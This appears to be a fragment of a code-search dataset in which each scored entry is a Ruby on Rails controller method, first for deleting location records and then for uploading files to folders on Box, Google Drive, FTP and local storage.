"text": "def destroy\n @internal_location.destroy\n respond_to do |format|\n format.html { redirect_to internal_locations_url, notice: 'Item Eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14c507ea0ac718d10dcbc4011235459b",
"score": "0.7061614",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to :list_account_locations_path, notice: 'Location deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "77a6ce57805635aff92a9a2ab086f3a8",
"score": "0.7051581",
"text": "def destroy\n @location = Location.find(params[:id])\n # @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "29e969c446c8607eb3242b57c1da8e28",
"score": "0.7049301",
"text": "def destroy\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a94e303a96218ef1ba537d1e98f529a2",
"score": "0.7046048",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d1c33f76f39bef591797bee6589b6ee5",
"score": "0.7037653",
"text": "def destroy\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8d1864f9cb7d1f5f4ad65882dbfff06a",
"score": "0.70330197",
"text": "def destroy\n @location = Location.find(params[:id])\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f4797aa89ce36dd4788c8c6c35f1c9a",
"score": "0.7029462",
"text": "def destroy\n @location_target.destroy\n respond_to do |format|\n format.html { redirect_to location_targets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3271e7b7263a755e1d658395e0c656be",
"score": "0.7019366",
"text": "def delete\n if !logged_in_user\n render json: {error: \"Invalid token\" }, status: 401\n return\n end\n @location = Location.find_by(id: params[:id])\n if !@location\n render json: {error: \"location id does not exist\" }, status: 400\n else\n @location.destroy\n render json: {status: \"ok\"}\n end\n end",
"title": ""
},
{
"docid": "df20fdaaf60712b85cec5626c2255797",
"score": "0.7013091",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n flash[:notice] = 'Ubicacion eliminada'\n format.html { redirect_to locations_path}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e497d42e22753ca68a1bb18034fc9f6c",
"score": "0.70106053",
"text": "def destroy\n\n @service_location = @contract.service_locations.find(params[:id])\n @contract.service_locations.destroy(@service_location)\n\n respond_to do |format|\n format.html { redirect_to contract_url(@contract) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "118345abe427e6d54aa174c9dcd2aeb4",
"score": "0.7008357",
"text": "def destroy\n if @location.destroy\n render json: { status: :ok }\n else\n render json: @location.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "15e3c4d63a2a0c7ed503f448c5b53e4c",
"score": "0.7003385",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: \"Location was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "df78659917a7d60bce3a7bbedfcfdc5e",
"score": "0.70023805",
"text": "def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
0ed8d779c35a026fad0389cc8bcea5d3 | upload files to parameter specified folder ID | [
{
"docid": "3a41f418de8362ccec96ea75602fac21",
"score": "0.0",
"text": "def tax_upload\n\n puts \"uploading file...\"\n mixpanel_tab_event(\"Tax Return\", \"Upload File\")\n\n #http://www.dropzonejs.com/\n client = user_client\n path = \"#{session[:userinfo]['info']['name']} - Shared Files/Tax Return\"\n\n uploaded_file = params[:file]\n name = params[:filename]\n\n puts \"FILE NAME\"\n\n\n folder = client.folder_from_path(path)\n\n temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')\n begin\n temp_file.write(uploaded_file.read)\n temp_file.close\n\n box_user = Box.user_client(session[:box_id])\n box_file = client.upload_file(temp_file.path, folder)\n session[:taxUploadedFileId] = box_file.id\n\n ext = box_file.name.split(\".\").last\n name = name + \".\" + ext\n\n uploadedFile = client.update_file(box_file, name: name)\n rescue => ex\n puts ex.message\n ensure\n File.delete(temp_file)\n end\n flash[:notice] = \"#{name} Successfully Uploaded!\"\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end",
"title": ""
}
] | [
{
"docid": "c94cc11bfa68eeb3223c0afefa1789f2",
"score": "0.74013835",
"text": "def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"title": ""
},
{
"docid": "c94cc11bfa68eeb3223c0afefa1789f2",
"score": "0.74013835",
"text": "def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"title": ""
},
{
"docid": "366ae08ad927c0c995d6a0d6ff99b21f",
"score": "0.7030662",
"text": "def upload!(*)\n upload_uri_base = \"http://rise.sh:8080/api/v1/#{@uuid}\"\n access_uri = \"https://rise.sh/#{@uuid}\"\n uri = ''\n\n # This sorts the files by (file path) length.\n # It is supposed to make the server make the first layer of files\n # before the rest of the layers.\n ordered_files = files.sort_by(&:length)\n ordered_files.each do |f|\n isdir = File.directory?(f)\n final_path = File.absolute_path(f).gsub(\n File.expand_path(folder_path), '')\n uri = URI.parse(\"#{upload_uri_base}/#{final_path}?dir=#{isdir}\")\n begin\n HTTP.put(uri.to_s, body: File.read(f))\n rescue Errno::EISDIR\n HTTP.put(uri.to_s, body: '')\n next\n end\n end\n access_uri\n end",
"title": ""
},
{
"docid": "44813c6e2f53ec977f48699ec0cda093",
"score": "0.7007438",
"text": "def upload_asset_files\n @portfolio = Portfolio.find_by_id(params[:pid])\n @folder = Folder.find_folder(params[:folder_id])\n @user = current_user\n end",
"title": ""
},
{
"docid": "2ead381fbeae460f0144042c6027be97",
"score": "0.6987659",
"text": "def upload_file(path)\n File.open(path, 'r') do |file|\n JSON.parse(\n request(\n :method => :post,\n :query => {\n :folder_id => @isru_folder_id,\n :name => File.basename(file.path)\n }\n ).body\n )[\"result\"][\"id\"]\n end\nend",
"title": ""
},
{
"docid": "957e51f99135825761dd92e921934a98",
"score": "0.6899937",
"text": "def upload_file(project_id, params)\n c_r Lokalise::Resources::File, :upload, [project_id, 'upload'], params\n end",
"title": ""
},
{
"docid": "73ee9bf1d5ea03cb1101211e9084fe2a",
"score": "0.6744021",
"text": "def file_upload\n @project = Project.find params[:id]\n if params[:file]\n params[:file].each do |f|\n tmp = f.tempfile\n file = File.join @project.satellitedir, f.original_filename\n FileUtils.cp tmp.path, file\n image_commit @project, f\n flash[:notice] = \"Your new image was added successfully! How sparkly!\"\n end\n else\n flash[:alert] = \"No image selected!\"\n end\n redirect_to @project.urlbase\n end",
"title": ""
},
{
"docid": "ed2c40b92c88ed5dc7c7dac1c5786c00",
"score": "0.67225105",
"text": "def upload_file(id, file_fullpath)\n post(\"/projects/#{url_encode id}/uploads\", body: { file: File.open(file_fullpath, 'r') })\n end",
"title": ""
},
{
"docid": "d025213e83e4bce8025c738ce734ac17",
"score": "0.6707207",
"text": "def upload id\n get_request \"uploads/#{id}\"\n end",
"title": ""
},
{
"docid": "1a90f8e390123e7c78d13441029247ae",
"score": "0.66509366",
"text": "def uploadfile_params\n params.require(:uploadfile).permit(:folder_id, :file)\n end",
"title": ""
},
{
"docid": "86d3169a8a66dfe03d5167fba1393b63",
"score": "0.6567313",
"text": "def post(id)\n self.class.post(\"/aldebaran-sige-files/file/#{id}\", :basic_auth => @auth, :body => nil)\n end",
"title": ""
},
{
"docid": "9dde2a9658277b3d1c3a2609312189e2",
"score": "0.6566449",
"text": "def upload(path, folder_id, new_copy = false)\n path = ::File.new(path) unless path.is_a?(::UploadIO) or path.is_a?(::File)\n\n # We need to delete new_copy from the args if it is null or false.\n # This is because of a bug with the API that considers any value as 'true'\n options = { :file => path, :new_copy => new_copy }\n options.delete(:new_copy) unless new_copy\n\n query_upload('upload', folder_id, 'upload_ok', options)\n end",
"title": ""
},
{
"docid": "a7384484406d7bf15e7104b5cf1b2dee",
"score": "0.65585613",
"text": "def insert_file(arg, parent_id)\n if arg.respond_to?(:filename)\n item = arg\n title = arg.filename\n else\n item = false\n title = arg\n end\n\n body = { 'title' => title, 'parents' => [{ 'id' => parent_id }]}\n opts = { api_method: @drive.files.insert }\n\n if item\n opts[:parameters] = { 'uploadType' => 'resumable' }\n opts[:media] = Google::APIClient::UploadIO.new(item.content,\n item.content_type, item.content.path)\n else\n body['mimeType'] = 'application/vnd.google-apps.folder'\n end\n\n opts[:body_object] = @drive.files.insert.request_schema.new(body)\n\n begin\n response = @client.execute(opts)\n rescue NoMethodError\n # Google API client does not fail correctly given an invalid token\n # Need to catch and handle it here\n raise Error, 'Google Error: Invalid credentials'\n end\n\n # if item\n # retries = 0\n # while !response.resumable_upload.complete? && retries < 10\n # retries += 1\n # sleep(rand(6))\n # ap \"retry #{retries}\"\n # response = @client.execute(response.resumable_upload)\n # end\n # end\n\n response.data ? response.data.id : nil\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.6555811",
"text": "def upload\n end",
"title": ""
},
{
"docid": "041c1675b36e52dacf0b07540159f134",
"score": "0.6555811",
"text": "def upload\n end",
"title": ""
},
{
"docid": "cabfb4341f5c7069765c1b3cad356f2a",
"score": "0.6526011",
"text": "def new\n @asset = current_user.assets.new \n if params[:folder_id] #if we want to upload a file inside another folder \n @current_folder = current_user.folders.find(params[:folder_id]) \n @asset.folder_id = @current_folder.id \n\n end\nend",
"title": ""
},
{
"docid": "85ca6f3c84fa3b101645a90e80dae0e2",
"score": "0.6524425",
"text": "def upload(io, id, shrine_metadata: {}, **upload_options)\n path_and_file = build_path_and_file(io)\n ftp = Net::FTP.open(@host, @user, @passwd)\n change_or_create_directory(ftp)\n file_path = id.split(\"/\")\n file_name = file_path.pop\n\n # there is a file structure included\n if file_path.length > 1\n file_path.each do |d|\n change_or_create_directory(ftp, d)\n end\n end\n ftp.putbinaryfile(path_and_file, file_name)\n end",
"title": ""
},
{
"docid": "ee898183aa44658accebdd6541a5ca75",
"score": "0.6508744",
"text": "def move_library_files(folder_id, file_id)\n url = Util::Config.get('endpoints.base_url') + \n sprintf(Util::Config.get('endpoints.library_file_move'), folder_id)\n url = build_url(url)\n \n payload = file_id.split(',').map {|id| id.strip}.to_json\n response = RestClient.put(url, payload, get_headers())\n results = []\n JSON.parse(response.body).each do |result|\n results << Components::MoveResults.create(result)\n end\n results\n end",
"title": ""
},
{
"docid": "69b9041a322dfa3cffde74a7ce4fb2d2",
"score": "0.6503206",
"text": "def upload\n puts params[:file].inspect\n #FileUtils.mv params[:file][:tempfile].path, MERB_ROOT+\"/uploads/#{params[:file][:filename]}\"\n FileUtils.mv params[:file][:tempfile].path, Merb.root/'public/uploads'/params[:file][:filename]\n redirect url(:basefiles)\n end",
"title": ""
},
{
"docid": "234e69554bf4f0bcee6bb07174939a49",
"score": "0.648597",
"text": "def upload(filename)\n end",
"title": ""
},
{
"docid": "7aeb3efe7343ca9fb7c1784edcc6637a",
"score": "0.64574075",
"text": "def upload(directory, filename, file)\n def file.original_filename\n filename\n end\n response = post \"/files?path=/#{@root_id}/#{directory}\", :file => file\n byebug\n\n # FIXME: Clear cache for this directory in order for the new files to\n # show up.\n end",
"title": ""
},
{
"docid": "bb7f03ae69d655cb28b7f9078d11d57c",
"score": "0.6457314",
"text": "def project_upload(project_id, id, query={})\n perform_get(\"/api/1/projects/#{project_id}/uploads/#{id}\", :query => query)\n end",
"title": ""
},
{
"docid": "e55c505358e4cfade58c4b81bd2047c7",
"score": "0.64191014",
"text": "def upload_media(path)\n headers = {\"Authorization\": \"Bearer #{$bearer_token}\"}\n file = File.new(path)\n file = HTTP::FormData::File.new(file)\n body = {file: file}\n\n response = HTTP.headers(headers).public_send(:post,\n \"#{$instance_url}/api/v1/media\", form: body)\n JSON.parse(response.body.to_s)[\"id\"]\nend",
"title": ""
},
{
"docid": "c8fd7aa72da7b4cb888d5d9e796786a1",
"score": "0.64163935",
"text": "def file_upload\n @project = Project.find params[:id]\n tmp = params[:file].tempfile\n file = File.join @project.satellitedir, params[:file].original_filename\n FileUtils.cp tmp.path, file\n if params[:file]\n image_commit @project, params[:file]\n flash[:notice] = \"Your new image was added successfully! How sparkly!\"\n else\n flash[:alert] = \"Your new image didn't get saved! How sad :(\"\n end\n redirect_to @project.urlbase\n end",
"title": ""
},
{
"docid": "82d91983e84cf9079dc20ee31d5709a0",
"score": "0.63976455",
"text": "def folder_params\n params.require(:folder).permit(:name).merge(:user_id => current_user.id)\n end",
"title": ""
},
{
"docid": "f610b1fd8b1ecd0ee14340f83d3eb755",
"score": "0.63903946",
"text": "def create\n #BEGIN upload param file to google drive\n drive = @client.discovered_api('drive', 'v2')\n file = drive.files.insert.request_schema.new({\n :title => \"Tiger1#{Time.now.to_i}.png\",\n :description => \"An image of tiger\",\n :mimeType => \"image/jpeg\",\n :parents => [:kind => \"drive#file\",:id => \"0B74OU5RnV3PnbS0xZTNaYVNyQTQ\"] #This is the id of directory \"appstorage\" shared from main account's storage\n })\n media = Google::APIClient::UploadIO.new(params[:uploads], \"image/jpeg\")\n result2 = @client.execute!(\n :api_method => @client.discovered_api('drive', 'v2').files.insert,\n :body_object => file,\n :media => media,\n :parameters => {\n 'uploadType' => 'multipart',\n 'alt' => 'json'})\n #END upload param file to google drive\n puts \"SELECTED TOY ID == #{params[:toy_id]}\"\n render text: \"Action create done\"\n end",
"title": ""
},
{
"docid": "fa05fb166ea9d3a40de3d95691f62e34",
"score": "0.63873535",
"text": "def folder_params\n params.require(:folder).permit(:name, :user_id)\n end",
"title": ""
},
{
"docid": "b511dc3ce99508845aa105c3d765435e",
"score": "0.6377607",
"text": "def upload\n #create a destination directory\n FileUtils.mkdir_p(@destination) unless File.exist?(@destination)\n #and put the file in the destionation (one by one)\n FileUtils.mv params[:file].path,\n @destination + params[:Filename].sub(/[^\\w\\.\\-]/,'_')\n return render :nothing => true\n end",
"title": ""
},
{
"docid": "0328821fd1aca9e211ec3994cf139562",
"score": "0.6355465",
"text": "def upload\n run_uploads\n end",
"title": ""
},
{
"docid": "857a8894dfb21bdc8a4a47578f9219c7",
"score": "0.6353409",
"text": "def upload\n @db=Database.find(params[:database_id])\n @files = params[:files]\n puts \"[Telemetry_Controller]Uploading:\\n\"\n \n @files.each do |file|\n name = file.original_filename\n \n directory = \"#{@db.path}/input\"\n path = File.join(directory, name)\n puts \"file:#{directory}/#{name}\\n\"\n File.open(path, \"wb\") { |f| f.write(file.read) }\n end\n flash[:notice] = \"File uploaded\"\n respond_to do |format|\n format.html {redirect_to files_database_url(@db)}\n format.json { render json: @files }\n end\n end",
"title": ""
},
{
"docid": "7c2e971dbddc15f4d05f9e5f2dd4fcfb",
"score": "0.63275415",
"text": "def upload_multiple_files_to_folder(folder, file_array, file_path=\"\")\n\n upload = upload_files_to_folder folder\n\n file_array.each do |file|\n upload.file_to_upload(file, file_path)\n upload.add_another_file\n end\n\n resources = upload.upload_files_now\n\n file_array.each do |file|\n file =~ /(?<=\\/).+/\n # puts $~.to_s # For debugging purposes\n unless resources.file_names.include?($~.to_s)\n upload_files = resources.upload_files_to_folder(folder)\n upload_files.file_to_upload(file, file_path)\n resources = upload_files.upload_files_now\n end\n end\n instantiate_class(:this)\n end",
"title": ""
},
{
"docid": "cc319b7cf3e99434c72201c8fbba54b3",
"score": "0.6315451",
"text": "def folder_params\n params.require(:folder).permit(:name, :user_id, images_attributes: [:name, :folder_id, :avatar, :id, :tag_list, :_destroy])\n end",
"title": ""
},
{
"docid": "569c025edcce5ce7e900b6a5e56b5bed",
"score": "0.6312469",
"text": "def upload_files_to_folder(folder_name)\n if frm.li(:text=>/A/, :class=>\"menuOpen\").exist?\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).li(:text=>/A/, :class=>\"menuOpen\").fire_event(\"onclick\")\n else\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Start Add Menu\").fire_event(\"onfocus\")\n end\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Upload Files\").click\n instantiate_class(:upload_files)\n end",
"title": ""
},
{
"docid": "569c025edcce5ce7e900b6a5e56b5bed",
"score": "0.6312469",
"text": "def upload_files_to_folder(folder_name)\n if frm.li(:text=>/A/, :class=>\"menuOpen\").exist?\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).li(:text=>/A/, :class=>\"menuOpen\").fire_event(\"onclick\")\n else\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Start Add Menu\").fire_event(\"onfocus\")\n end\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Upload Files\").click\n instantiate_class(:upload_files)\n end",
"title": ""
},
{
"docid": "32275c617cc84133a463407b56ccde67",
"score": "0.62976575",
"text": "def add_file_to_folder(file_id, folder_id)\n _params = {:file_id => file_id, :folder_id => folder_id}\n return @master.call 'gallery/add-file-to-folder', _params\n end",
"title": ""
},
{
"docid": "87c4c9f55d40ab728f654447e7fd83e7",
"score": "0.62946755",
"text": "def upload_file(dir)\r\n self.compliance_tab\r\n self.open_upload_prompt\r\n self.select_attachment = dir\r\n self.upload_attachment\r\n end",
"title": ""
},
{
"docid": "01c4f207a157e60cf2df193b09853b12",
"score": "0.62934524",
"text": "def upload_multiple_files_to_folder(folder, file_array)\n \n upload = upload_files_to_folder folder\n \n file_array.each do |file|\n upload.file_to_upload=file\n upload.add_another_file\n end\n \n resources = upload.upload_files_now\n\n file_array.each do |file|\n file =~ /(?<=\\/).+/\n # puts $~.to_s # For debugging purposes\n unless resources.file_names.include?($~.to_s)\n upload_files = resources.upload_files_to_folder(folder)\n upload_files.file_to_upload=file\n resources = upload_files.upload_files_now\n end\n end\n instantiate_class(:this)\n end",
"title": ""
},
{
"docid": "8c37ca1ebfe0ed52ca2d779514f5474b",
"score": "0.6278494",
"text": "def share_file\n\n id = params[:id]\n client = user_client\n\n # get shared folder, then move file into shared folder\n salesforceFolder = client.folder_from_id('4557544342')\n client.move_file(id, salesforceFolder)\n flash[:notice] = \"File shared with company employee!\"\n\n redirect_to salesforce_path(salesforceFolder.id)\n end",
"title": ""
},
{
"docid": "236ba666b26d153c7473b828e5e4dadc",
"score": "0.62701017",
"text": "def med_upload\n\n puts \"uploading file...\"\n\n #http://www.dropzonejs.com/\n uploaded_file = params[:file]\n folder = params[:folder_id]\n\n temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')\n begin\n temp_file.write(uploaded_file.read)\n temp_file.close\n\n box_user = Box.user_client(session[:box_id])\n box_file = box_user.upload_file(temp_file.path, folder)\n rescue => ex\n puts ex.message\n ensure\n File.delete(temp_file)\n end\n\n flash[:notice] = \"Successfully Uploaded!\"\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end",
"title": ""
},
{
"docid": "9b1a7c13afe8c020dc77bc7bf6011ba6",
"score": "0.6254438",
"text": "def folder_params\n params.require(:folder).permit(:name, :mode, :trip_id, :total_cost, :description, :image)\n end",
"title": ""
},
{
"docid": "61e740eda56880f7ad8a4131ba8049fc",
"score": "0.621807",
"text": "def folder_params\n params.require(:folder).permit(:name, :content, :parent_id)\n end",
"title": ""
},
{
"docid": "de9fbbf59fbaf9da39d79ff279286d8e",
"score": "0.6215745",
"text": "def folder_params\r\n params.require(:folder).permit(:name, :description, :user_id, :folder_type_id, :folder_id, :profile_id)\r\n end",
"title": ""
},
{
"docid": "2f2892552d01d4ac7fbe308473a58665",
"score": "0.6215355",
"text": "def upload_directory_name\n HARVEST_FOLDER_PREFIX + id.to_s\n end",
"title": ""
},
{
"docid": "75882e78f185c6d5a10ad574083d8c59",
"score": "0.620726",
"text": "def attach_file\n if params[:file].present?\n @folder.attach_file!(params[:file])\n FilesJob.perform_later\n redirect_to category_folder_path(@folder.category, @folder, order: \"latest\")\n else\n redirect_to upload_category_folder_path(@folder.category, @folder), notice: \"Choose a file to upload.\"\n end\n end",
"title": ""
},
{
"docid": "440409a5935cb241cd97113b8557e9d9",
"score": "0.62022793",
"text": "def folder_params\n params.require(:folder).permit(:name, :size, :parent_id)\n end",
"title": ""
},
{
"docid": "b4efe6410d792f3ab4061d8e40a18f4f",
"score": "0.6180838",
"text": "def folder_params\n params.require(:folder).permit(:soporte_estudios, :referencia_laboral, :fotocopia_cedula, :certificado_formacion, :certificado_cuenta_bancaria, \n :fondo_pension, :cesantias, :certificado_eps,:formato_domiciliaria, :formato_complemento,:conflicto_intereses,:oferta,:acepta_contrato,:arl, :radicacion_eps, :user_id)\n end",
"title": ""
},
{
"docid": "965fa94ed707ecae91ee54cd63e68b10",
"score": "0.6179216",
"text": "def upload_files(wildcard)\n FileList.glob(wildcard).each do |fn|\n upload(fn)\n end\n end",
"title": ""
},
{
"docid": "eae5c903c69fb135515f9a889309911f",
"score": "0.61655277",
"text": "def upload\n\n current_user_id = params[:current_user_id]\n filename = params[:Filename]\n filedata = params[:Filedata]\n galleryname = params[:gallery_name]\n print galleryname\n\n # Construct the gallery if necessary\n gallery = Gallery.find_by_title(galleryname)\n if gallery.nil?\n gallery = Gallery.new\n gallery.title = galleryname\n gallery.user_id = current_user_id\n gallery.save\n end\n \n picture = Picture.new\n picture.picture_file_name = filename\n picture.picture_file_data = filedata\n picture.title = \"\"\n picture.user_id = current_user_id\n picture.gallery_id = gallery.id\n picture.save\n \n end",
"title": ""
},
{
"docid": "6b5b7e38e8e103bd61fabd2dda7bfee6",
"score": "0.6156561",
"text": "def upload(id, path, modify=false)\n path = Pathname.new(path) unless path.kind_of? Pathname\n\n mime = MIME::Types.type_for(path.to_s)[0] || MIME::Types[\"application/octet-stream\"][0]\n uri = endPoint(\"/#{id}\")\n request = Net::HTTP::Post.new(uri)\n ret = nil\n\n path.open do |io|\n request.body_stream = io\n set_def_headers(request)\n request.content_length = path.size\n request.content_type = mime.simplified\n ret = workit(request)\n end\n ret\n end",
"title": ""
},
{
"docid": "357dd0483065734cbbf98ef8b3fe77ea",
"score": "0.6152405",
"text": "def upload(file)\n end",
"title": ""
},
{
"docid": "1a540f2e5b8ac3931e0075e3dcf447ff",
"score": "0.6149966",
"text": "def folder_params\n params.require(:folder).permit(:name, :note, :clipstore, :proxy, :jpeg, :clip_limit, :overflow_id, :year)\n end",
"title": ""
},
{
"docid": "f7bdb85df5a21448567a0e88671a98da",
"score": "0.61485034",
